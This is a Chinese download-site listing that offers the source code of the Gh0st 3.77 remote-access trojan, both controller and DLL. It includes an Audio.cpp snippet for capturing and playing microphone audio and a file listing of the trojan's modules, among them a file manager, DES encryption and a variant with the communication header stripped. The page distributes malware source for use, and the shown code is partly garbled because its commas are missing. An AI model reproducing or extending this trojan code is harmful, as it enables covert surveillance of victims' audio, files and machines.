资源简介
GH0ST3.77主控源码+DLL源码其他下载分太多了,我这里少点儿分享给大家吧,下载这个花了我10分。
代码片段和文件信息
// Audio.cpp: implementation of the CAudio class.
//
//////////////////////////////////////////////////////////////////////
#include “Audio.h“
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CAudio::CAudio()
{
m_hEventWaveIn = CreateEvent(NULL false false NULL);
m_hStartRecord = CreateEvent(NULL false false NULL);
m_hThreadCallBack = NULL;
m_nWaveInIndex = 0;
m_nWaveOutIndex = 0;
m_nBufferLength = 1000; // m_GSMWavefmt.wfx.nSamplesPerSec / 8(bit)
m_bIsWaveInUsed = false;
m_bIsWaveOutUsed = false;
for (int i = 0; i < 2; i++)
{
m_lpInAudioData[i] = new BYTE[m_nBufferLength];
m_lpInAudioHdr[i] = new WAVEHDR;
m_lpOutAudioData[i] = new BYTE[m_nBufferLength];
m_lpOutAudioHdr[i] = new WAVEHDR;
}
memset(&m_GSMWavefmt 0 sizeof(GSM610WAVEFORMAT));
m_GSMWavefmt.wfx.wFormatTag = WAVE_FORMAT_GSM610; // ACM will auto convert wave format
m_GSMWavefmt.wfx.nChannels = 1;
m_GSMWavefmt.wfx.nSamplesPerSec = 8000;
m_GSMWavefmt.wfx.nAvgBytesPerSec = 1625;
m_GSMWavefmt.wfx.nBlockAlign = 65;
m_GSMWavefmt.wfx.wBitsPerSample = 0;
m_GSMWavefmt.wfx.cbSize = 2;
m_GSMWavefmt.wSamplesPerBlock = 320;
}
CAudio::~CAudio()
{
if (m_bIsWaveInUsed)
{
waveInStop(m_hWaveIn);
waveInReset(m_hWaveIn);
for (int i = 0; i < 2; i++)
waveInUnprepareHeader(m_hWaveIn m_lpInAudioHdr[i] sizeof(WAVEHDR));
waveInClose(m_hWaveIn);
TerminateThread(m_hThreadCallBack -1);
}
if (m_bIsWaveOutUsed)
{
waveOutReset(m_hWaveOut);
for (int i = 0; i < 2; i++)
waveOutUnprepareHeader(m_hWaveOut m_lpInAudioHdr[i] sizeof(WAVEHDR));
waveOutClose(m_hWaveOut);
}
for (int i = 0; i < 2; i++)
{
delete [] m_lpInAudioData[i];
delete m_lpInAudioHdr[i];
delete [] m_lpOutAudioData[i];
delete m_lpOutAudioHdr[i];
}
CloseHandle(m_hEventWaveIn);
CloseHandle(m_hStartRecord);
CloseHandle(m_hThreadCallBack);
}
LPBYTE CAudio::getRecordBuffer(LPDWORD lpdwBytes)
{
// Not open WaveIn yet so open it...
if (!m_bIsWaveInUsed && !InitializeWaveIn())
return NULL;
if (lpdwBytes == NULL)
return NULL;
SetEvent(m_hStartRecord);
WaitForSingleobject(m_hEventWaveIn INFINITE);
*lpdwBytes = m_nBufferLength;
return m_lpInAudioData[m_nWaveInIndex];
}
bool CAudio::playBuffer(LPBYTE lpWaveBuffer DWORD dwBytes)
{
if (!m_bIsWaveOutUsed && !InitializeWaveOut())
return NULL;
for (int i = 0; i < dwBytes; i += m_nBufferLength)
{
memcpy(m_lpOutAudioData[m_nWaveOutIndex] lpWaveBuffer m_nBufferLength);
waveOutWrite(m_hWaveOut m_lpOutAudioHdr[m_nWaveOutIndex] sizeof(WAVEHDR));
m_nWaveOutIndex = 1 - m_nWaveOutIndex;
}
return true;
}
bool CAudio::InitializeWaveIn()
{
if (!waveInGetNumDevs())
return false;
MMRESULT mmResult;
DWORD dwThreadID = 0;
m_hThreadCallBack = CreateThread(NULL 0
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
文件 90476 2010-12-06 19:33 GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\Bin\Sound\Login.wav
文件 88514 2010-12-06 19:33 GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\Bin\Sound\Offline.wav
文件 5195 2008-03-27 09:23 GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\common\Audio.cpp
文件 1280 2008-03-19 00:31 GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\common\Audio.h
文件 1810 2008-03-25 01:09 GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\common\CursorInfo.h
文件 8854 2012-04-27 20:18 GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\common\DES.CPP
文件 175 2012-04-27 20:19 GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\common\DES.H
文件 8882 2012-04-27 20:19 GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\common\DES2.CPP
文件 204 2012-04-27 20:19 GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\common\DES2.H
文件 4627 2013-08-03 22:26 GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\common\macros.h
文件 3636 2008-03-26 03:07 GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\common\VideoCodec.h
文件 13375 2010-04-18 10:58 GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\common\zlib\zconf.h
文件 79564 2010-04-19 21:12 GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\common\zlib\zlib.h
文件 116858 2011-07-09 22:10 GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\common\zlib\zlib.lib
文件 3600 2010-07-22 16:15 GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\gh0st\AudioDlg.cpp
文件 1652 2008-03-19 11:10 GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\gh0st\AudioDlg.h
文件 1595 2008-03-26 16:55 GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\gh0st\BmpToAvi.cpp
文件 796 2008-03-26 16:57 GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\gh0st\BmpToAvi.h
文件 2735 2012-04-24 22:33 GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\gh0st\ChangeGroup.cpp
文件 1375 2012-04-24 22:32 GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\gh0st\ChangeGroup.h
文件 59750 2002-12-20 14:03 GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\gh0st\control\BtnST.cpp
文件 9972 2002-12-20 14:01 GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\gh0st\control\BtnST.h
文件 1058 2006-09-06 16:43 GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\gh0st\control\HoverEdit.cpp
文件 2457 2006-09-06 16:46 GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\gh0st\control\HoverEdit.h
文件 2941 2008-01-26 23:42 GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\gh0st\control\WinXPButtonST.cpp
文件 1571 2008-01-26 23:32 GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\gh0st\control\WinXPButtonST.h
文件 79441 2006-05-16 21:05 GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\gh0st\CustomTabCtrl.cpp
文件 8596 2006-05-11 22:15 GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\gh0st\CustomTabCtrl.h
文件 1069 2008-01-18 12:50 GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\gh0st\encode.h
文件 72719 2013-08-04 00:08 GH0ST3.77主控源码+DLL源码\精简版本3.77_去除通讯头\gh0st\FileManagerDlg.cpp
............此处省略509个文件信息
- 上一篇:LDC1000 STM32
- 下一篇:Tab2Shp 批量tab转shp工具
评论
共有 条评论